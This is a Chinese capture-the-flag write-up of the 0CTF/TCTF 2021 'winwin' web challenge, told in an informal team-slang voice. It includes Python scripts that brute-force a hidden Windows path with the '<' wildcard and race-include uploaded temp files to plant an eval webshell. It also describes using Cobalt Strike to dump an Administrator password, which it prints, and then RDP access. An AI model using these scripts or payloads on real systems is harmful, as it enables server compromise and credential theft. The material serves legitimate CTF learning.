2021 0CTF/TCTF(Web) winwin
这次比赛👴没有当蹭哥,👴与中国海洋带学的RisingStar(AidaiP)、CNCC优秀带学生(Coin)、3W👴、HB、口老师、🎩以及王老师一起拿了第五(如果没有联合战队,👴🚪就第四了),👴赚了。
本来不想写WP的,但是看到ROIS写的WP太™简单了传送门,对比👴🚪的解题实在是坎坷,还是写一下8.
0x00 题目
<?php
show_source(__FILE__);readfile($_GET['win']);include __DIR__.$_GET['win'];
0x01 伏笔1
首先这题一开始就出带问题,👴跟🎩都没有发现题目的题意,以为这题开了open_basedir
,👴🚪拿/etc/passwd
等一系列的linux文件一顿乱试。 这导致了👴🚪花了90%的时间在试payload。
0x02 伏笔2
也是在开题的时候,👴在群里发了一个报错:
👴根本没有注意到win64。
直到🎩在第二天的晚上跟👴讨论的时候,👴才意识到——“噢这个是windows啊,难怪解不出来呢”
0x03 解题 - 这应该是最麻烦的解法
通过404页面可以知道服务器运行在windows上,而在windows的php中,readfile在底层会调用Windows的FindFirstFileExW()和FindFirstFile(),而在这两个函数中会对大于号<
进行特殊处理,大于号相当于文件名通配符*
,那么就可以利用通配符来爆破出web目录的名字,脚本如下。
import requests
import string
url = 'http://xxx.winwin.pwnable.org/?win=c:/%s%%3c/htdocs/index.php'
s = 'this_is_a_secret_path_107B1177348CC063A0713838282B1C27892D5FE2'
while True:
for c in string.digits + string.ascii_lowercase + '_':
ret = requests.get(url % (s + c))
length = len(ret.content)
if length != 722:
s += c
print(s)
break
else:
print('Finished: %s' % s)
break
最终爆破出了web目录是this_is_a_secret_path_107B1177348CC063A0713838282B1C27892D5FE2
,但是这个目录下是个xmapp,真正的web目录在c:/htdocs/
。在xmapp目录下找到了php.ini,从而得知文件上传的临时目录在c:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\
,那么就可以通过不停上传webshell,include该目录下的临时文件从而执行php代码,虽然不知道临时文件名,但是可以利用通配符绕过,例如../../../THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\<.tmp
上传临时webshell的脚本如下。
import requests
files = {
'file': ("aa.txt", "ssss<?php var_dump('55555');file_put_contents('c:\\htdocs\\c.php','<?php eval($_GET[\"a\"]);?>');var_dump('123123');")
}
url = "http://xxx.winwin.pwnable.org/?win=../../../../../this_is_a_secret_path_107b1177348cc063a0713838282b1c27892d5fe2/php/tests/parseDir/phpinfo.php"
url = "http://xxx.winwin.pwnable.org/"
i = 0
while True:
r = requests.post(url=url, files=files, allow_redirects=False)
print(i)
i += 1
之后再起一个进程一直include临时文件,脚本如下。
import requests
url = "http://xxx.winwin.pwnable.org/?win=../../../\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\\tmp\<.tmp"
while True:
r = requests.get(url=url)
length = len(r.text)
if length not in (722, 1148):
print(r.text)
这里写shell记得闭合,否则会报错。
最终在web根目录c:/htdocs/
下写入webshell。
习惯性操作。写入新webshell,使用冰蝎连接。
http://xxx.winwin.pwnable.org/notie.php
直接上cobaltsrike,抓密码。
* Username : Administrator
* Domain : WINWIN0
* Password : Ucc2DAjAFjvxcKMkT
开一个代理,直接3389连进去获得flag